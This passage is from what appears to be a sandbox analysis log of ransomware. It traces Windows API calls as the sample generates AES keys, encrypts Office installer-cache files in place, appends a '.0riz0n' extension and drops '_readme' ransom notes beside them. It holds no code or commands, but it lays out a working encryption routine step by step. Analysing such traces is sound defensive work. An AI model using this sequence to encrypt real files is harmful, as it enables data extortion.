lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0067.140] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0067.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x680) returned 0xef3f88 [0067.140] ReadFile (in: hFile=0x1f0, lpBuffer=0xef3f88, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef3f88*, lpNumberOfBytesRead=0x17af85c*=0x648, lpOverlapped=0x0) returned 1 [0067.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x680) returned 0xf359e0 [0067.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef3f88) returned 1 [0067.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x680) returned 0xef3f88 [0067.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0067.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf359e0) returned 1 [0067.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa80) returned 0x1acf180 [0067.142] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x648, dwBufLen=0xa48 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x650) returned 1 [0067.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0067.142] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0067.142] WriteFile (in: hFile=0x1f0, lpBuffer=0xef3f88*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef3f88*, lpNumberOfBytesWritten=0x17af85c*=0x648, lpOverlapped=0x0) returned 1 [0067.142] FlushFileBuffers (hFile=0x1f0) returned 1 [0067.145] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0067.145] NtClose (Handle=0x1f0) returned 0x0 [0067.146] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0067.146] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0067.147] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0067.147] GetLastError () returned 0x2 [0067.147] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6628, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0067.147] GetLastError () returned 0x2 [0067.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0067.147] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0067.147] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0067.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0067.148] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 [0067.148] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3cdf2410, dwHighDateTime=0x1d59598)) returned 1 [0067.148] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0067.149] NtClose (Handle=0x1f0) returned 0x0 [0067.149] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0067.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0067.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0067.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef3f88) returned 1 [0067.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0067.149] CryptDestroyKey (hKey=0x459b38) returned 1 [0067.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0067.150] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0067.150] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0067.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0067.150] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0067.151] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0067.151] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0067.151] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0067.151] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0067.151] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0067.151] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0067.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0067.151] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0067.151] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0067.151] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0067.152] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0067.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0067.152] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0067.152] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0067.152] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xeebe0180, dwHighDateTime=0x1d301be)) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.152] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0067.152] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0067.152] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0067.152] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0067.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0067.153] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0067.153] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0067.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0067.153] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0067.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0067.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0067.607] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0067.716] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0067.793] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0067.934] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0067.935] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0068.060] FlushFileBuffers (hFile=0x1f0) returned 1 [0068.091] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0068.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x422000) returned 0x2d60020 [0068.092] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x421fcc, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x421fcc, lpOverlapped=0x0) returned 1 [0068.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x422000) returned 0x3190020 [0068.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0068.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3190020) returned 1 [0068.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x422400) returned 0x2d60020 [0068.292] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x421fcc, dwBufLen=0x4223cc | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x421fd0) returned 1 [0068.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0068.343] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0068.343] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x421fcc, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x421fcc, lpOverlapped=0x0) returned 1 [0068.394] FlushFileBuffers (hFile=0x1f0) returned 1 [0068.406] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0068.406] NtClose (Handle=0x1f0) returned 0x0 [0068.670] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.0riz0n")) returned 1 [0068.670] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0068.670] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0068.671] GetLastError () returned 0x2 [0068.671] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6648, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0068.671] GetLastError () returned 0x2 [0068.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.671] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0068.671] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0068.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0068.672] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0068.672] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3dc3a810, dwHighDateTime=0x1d59598)) returned 1 [0068.673] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0068.673] NtClose (Handle=0x1f0) returned 0x0 [0068.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0068.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0068.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0068.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0068.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0068.718] CryptDestroyKey (hKey=0x459b38) returned 1 [0068.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0068.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0068.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0068.718] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0068.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0068.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0068.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0068.718] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0068.719] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0068.719] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0068.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.719] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0068.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0068.720] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xee827f20, dwHighDateTime=0x1d301be)) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0068.720] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0068.720] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0068.720] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0068.720] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0068.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0068.720] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, 